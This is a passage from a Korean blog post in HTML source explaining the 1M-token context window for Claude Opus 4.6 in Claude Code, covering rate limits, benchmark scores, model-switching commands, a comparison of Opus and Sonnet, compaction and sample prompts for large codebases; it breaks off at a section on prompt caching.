&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전에는 1M 컨텍스트 사용 시 별도의 Rate Limit이 적용되어, 대용량 요청 시 처리량이 감소하는 문제가 있었다. 2026년 3월 13일 이후:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전용 1M Rate Limit 제거:&lt;/b&gt; 더 이상 별도의 대용량 컨텍스트 Rate Limit이 없다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;표준 계정 처리량 적용:&lt;/b&gt; 모든 컨텍스트 길이에 동일한 Rate Limit이 적용된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실질적 의미:&lt;/b&gt; 900K 토큰 요청과 9K 토큰 요청이 같은 Rate Limit 풀을 공유한다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Rate Limit이 '같아진' 것의 의미&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Rate Limit이 &quot;처리량 감소 없이 동일하게 적용된다&quot;는 것은, 대용량 컨텍스트 요청이 기존 처리량에서 불이익을 받지 않는다는 의미다. 단, 900K 토큰 요청 하나가 토큰 기준 Rate Limit을 많이 소모한다는 물리적 사실은 변하지 않는다. RPM(분당 요청 수) 기준으로는 동일하게 카운트된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;성능 벤치마크 &amp;mdash; &quot;Context Rot&quot; 해결&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단순히 컨텍스트 크기만 늘어난 것이 아니다. Anthropic은 Opus 4.6이 대용량 컨텍스트에서도 실제로 높은 정확도를 보임을 벤치마크로 입증했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CaicD/dJMcahcBmF3/x3s66UOHQLYdigK9qTDFXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CaicD/dJMcahcBmF3/x3s66UOHQLYdigK9qTDFXk/img.png&quot; data-alt=&quot;https://pbs.twimg.com/media/HDTovvJaMAI8jWP?format=png&amp;amp;amp;name=medium&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CaicD/dJMcahcBmF3/x3s66UOHQLYdigK9qTDFXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCaicD%2FdJMcahcBmF3%2Fx3s66UOHQLYdigK9qTDFXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://pbs.twimg.com/media/HDTovvJaMAI8jWP?format=png&amp;amp;name=medium&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;벤치마크&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Opus 4.6&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 비교 모델&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;1M 8-needle MRCR v2&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(1M 컨텍스트 내 8개 항목 검색)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;b&gt;78.3%&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;프론티어 모델 중 최고&lt;br /&gt;(출처: 1M Context GA 블로그)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #721c24;&quot;&gt;Claude Sonnet 4.5: &lt;b&gt;18.5%&lt;/b&gt;&lt;br /&gt;Gemini 3 Pro: 26.3%&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(출처: Anthropic Opus 4.6 공식 발표)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Terminal-Bench 2.0&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(터미널 기반 코딩 작업)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; color: #155724;&quot;&gt;&lt;b&gt;65.4%&lt;/b&gt; (max effort, Anthropic 공식)&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;공개 리더보드 최고: 81.8% (ForgeCode + Opus 4.6)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;GPT-5.2-Codex: 57.5%&lt;br /&gt;Opus 4.5: 59.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 &lt;b&gt;1M 8-needle MRCR v2&lt;/b&gt; 벤치마크는 중요하다. 100만 토큰짜리 텍스트 속에 숨겨진 8개의 정보를 찾아내는 테스트인데, Opus 4.6이 &lt;b&gt;78.3%&lt;/b&gt;를 기록한 반면 Claude Sonnet 4.5는 18.5%, Gemini 3 Pro는 26.3%에 그쳤다. 이는 &lt;b&gt;&quot;Context Rot&quot;&lt;/b&gt;(컨텍스트가 길어질수록 정확도가 떨어지는 현상)이 Opus 4.6에서 크게 개선되었음을 보여준다. (출처: Anthropic 공식 Opus 4.6 발표 및 1M Context GA 블로그)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;벤치마크 vs 실전 주의사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MRCR v2 벤치마크는 단일 API 호출로 전체 1M 토큰을 한 번에 주입하는 방식이다. Claude Code는 파일을 도구(Tool)로 순차적으로 읽는 방식이라 실제 동작이 다를 수 있다. 커뮤니티 보고에 따르면 툴 기반 읽기 방식에서는 200K+ 구간 이후 정확도가 낮아지는 경우가 있으므로, 중요한 정보는 세션 초반에 로드하는 것이 좋다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: Claude Code에서의 실제 활용 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Claude Code에서의 실제 활용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 진행전 내 클로드 코드 버전 체크&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1773635947726&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;gt; claude --version

2.1.76 (Claude Code)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 현재 모델 및 컨텍스트 윈도우 크기 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 200k&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwRfa9/dJMcaiCy5VV/VQYdoMzaYnk7JKxPhTG4z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwRfa9/dJMcaiCy5VV/VQYdoMzaYnk7JKxPhTG4z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwRfa9/dJMcaiCy5VV/VQYdoMzaYnk7JKxPhTG4z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwRfa9%2FdJMcaiCy5VV%2FVQYdoMzaYnk7JKxPhTG4z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1052&quot; height=&quot;404&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;ex) model : opusplan&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- /model : 변경 가능한 모델 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;362&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biOFcP/dJMcafsjMfl/b1Mwqunna71ShKrnQivEM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biOFcP/dJMcafsjMfl/b1Mwqunna71ShKrnQivEM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biOFcP/dJMcafsjMfl/b1Mwqunna71ShKrnQivEM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiOFcP%2FdJMcafsjMfl%2Fb1Mwqunna71ShKrnQivEM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;362&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;362&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 선택 후 Opus 4.6 (1M context) 가 선택되었다고 표현된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tpMDW/dJMcaiWQPyA/2HEK2O44aCTBiFpvenKqHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tpMDW/dJMcaiWQPyA/2HEK2O44aCTBiFpvenKqHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tpMDW/dJMcaiWQPyA/2HEK2O44aCTBiFpvenKqHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtpMDW%2FdJMcaiWQPyA%2F2HEK2O44aCTBiFpvenKqHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;108&quot; data-origin-width=&quot;836&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;438&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhg6pS/dJMcahRcRu6/PC7ZQJ8qDZBkMTOBksYtjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhg6pS/dJMcahRcRu6/PC7ZQJ8qDZBkMTOBksYtjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhg6pS/dJMcahRcRu6/PC7ZQJ8qDZBkMTOBksYtjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbhg6pS%2FdJMcahRcRu6%2FPC7ZQJ8qDZBkMTOBksYtjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1224&quot; height=&quot;438&quot; data-origin-width=&quot;1224&quot; data-origin-height=&quot;438&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Opus 4.6에서 defaultfh 백만 context 윈도우로 변경된것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;모델 선택 방법&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 1M 컨텍스트 모델을 명시적으로 선택하려면.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 세션 내에서 1M 모델로 전환
/model opus[1m]

# 또는 전체 모델 ID 사용 (공식 모델 ID: claude-opus-4-6)
/model claude-opus-4-6[1m]

# Sonnet 4.6 1M 모델 (추가 사용량 필요)
/model sonnet[1m]

# 특정 모델 ID 고정 시 (안정적 동작 보장)
# opus/sonnet 별칭은 최신 버전으로 자동 업데이트됨
# claude-opus-4-6 고정 사용을 원한다면 env var 활용:
# ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-6

# 현재 사용 중인 모델 확인
/model&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Max/Team/Enterprise 사용자는 자동 적용&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code v2.1.75 이상을 사용 중이고 Max, Team, Enterprise 플랜이라면 별도 선택 없이 Opus 4.6의 1M 컨텍스트가 기본 활성화된다. &lt;code&gt;/model&lt;/code&gt; 명령어로 현재 설정을 확인할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Opus vs Sonnet 선택 가이드 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Opus 4.6 vs Sonnet 4.6 &amp;mdash; 어떤 모델을 써야 할까?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 모델 모두 1M context를 지원하지만 특성이 다르다. Anthropic 공식 권장 가이드라인에 따르면:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Opus 4.6 권장&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Sonnet 4.6 권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;대규모 코드베이스 리팩터링&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #155724;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;다중 에이전트 워크플로우 코디네이션&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #155724;&quot;&gt;&lt;span style=&quot;color: #155724; text-align: center;&quot;&gt;O&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;과학&amp;middot;수학적 추론, 전문가급 분석&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #155724;&quot;&gt;&lt;span style=&quot;color: #155724; text-align: center;&quot;&gt;O&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Max output 128K 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #155724;&quot;&gt;&lt;span style=&quot;color: #155724; text-align: center;&quot;&gt;O&lt;/span&gt;&amp;nbsp;(Opus만 128K)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #721c24;&quot;&gt;X (최대 64K)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;일반 코딩, 버그 수정, 기능 구현&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #155724;&quot;&gt;&lt;span style=&quot;color: #155724; text-align: center;&quot;&gt;O&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;인터랙티브 UX, 빠른 응답 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #155724;&quot;&gt;&lt;span style=&quot;color: #155724; text-align: center;&quot;&gt;O&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;지식 커트오프 (참고용)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #856404;&quot;&gt;훈련 데이터: 2025년 8월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #856404;&quot;&gt;훈련 데이터: 2026년 1월&lt;br /&gt;&lt;span style=&quot;font-size: 11px;&quot;&gt;(공식 Transparency Hub 확인 권장)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;API 단가 (입력/출력)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;$5 / $25 MTok&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center; color: #155724;&quot;&gt;$3 / $15 MTok&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;권장 전략: Sonnet 기본, Opus로 에스컬레이션&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 공식 권장은 &lt;b&gt;Sonnet 4.6으로 시작해서&lt;/b&gt; 복잡한 아키텍처 판단, 다중 에이전트 코디네이션, 고위험 작업 시에만 Opus 4.6으로 전환하는 전략이다. Claude Code에서는 &lt;code&gt;/model sonnet&lt;/code&gt;, &lt;code&gt;/model opus[1m]&lt;/code&gt;으로 손쉽게 전환할 수 있다. (출처: Anthropic 공식 모델 선택 가이드)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Compaction 동작 변화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트 도입 후 가장 체감되는 변화 중 하나가 Compaction 빈도다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;200K 모델:&lt;/b&gt; 기본적으로 ~190K 토큰 사용 시 Compaction 발생 (95% 임계값)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;1M 모델:&lt;/b&gt; 기본적으로 ~950K 토큰 사용 시 Compaction 발생&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실질 효과:&lt;/b&gt; 대부분의 코딩 세션에서 Compaction 없이 작업을 완료할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code의 상태 표시줄에서 현재 컨텍스트 사용량을 확인할 수 있다. &lt;code&gt;context_window.used_percentage&lt;/code&gt;는 모델의 전체 윈도우 대비 입력 토큰 비율을 보여준다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;대규모 코드베이스 작업&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트의 가장 강력한 활용처는 대규모 코드베이스 작업이다:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;전체 프로젝트 파악&lt;/h4&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 대규모 레포 전체를 한 번에 분석
&quot;이 프로젝트의 모든 소스 파일을 읽고 아키텍처를 파악해줘.
특히 데이터 흐름과 의존성 관계를 중점적으로 분석해줘.&quot;

# 이전에는 파일 수가 많으면 중간에 컨텍스트가 부족해졌다.
# 1M 컨텍스트로 수백 개 파일을 한 번에 처리할 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;장기 리팩터링 세션&lt;/h4&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 여러 파일에 걸친 일관된 리팩터링
&quot;src/ 디렉토리 전체의 클래스명을 새 네이밍 컨벤션으로 바꿔줘.
변경 전후의 일관성을 확인하면서 진행해줘.&quot;

# 수십 개 파일을 동시에 염두에 두고 일관성 있게 작업 가능&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Agent Teams와의 시너지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Opus 4.6 출시와 함께 Claude Code에 &lt;b&gt;Agent Teams(에이전트 팀)&lt;/b&gt;가 리서치 프리뷰로 추가되었다. 1M 컨텍스트와 Agent Teams의 조합은 특히 강력하다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;병렬 코드베이스 리뷰:&lt;/b&gt; 여러 서브에이전트가 동시에 코드를 분석하고, 결과를 1M 컨텍스트로 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;읽기 중심 작업의 병렬화:&lt;/b&gt; 문서 분석, 테스트 결과 수집 등 읽기 작업을 병렬로 처리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;서브에이전트도 1M 적용:&lt;/b&gt; &lt;code&gt;CLAUDE_AUTOCOMPACT_PCT_OVERRIDE&lt;/code&gt;가 메인 세션과 모든 서브에이전트에 동일하게 적용된다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Prompt Caching으로 비용&amp;middot;속도 최적화&lt;/h3&gt;
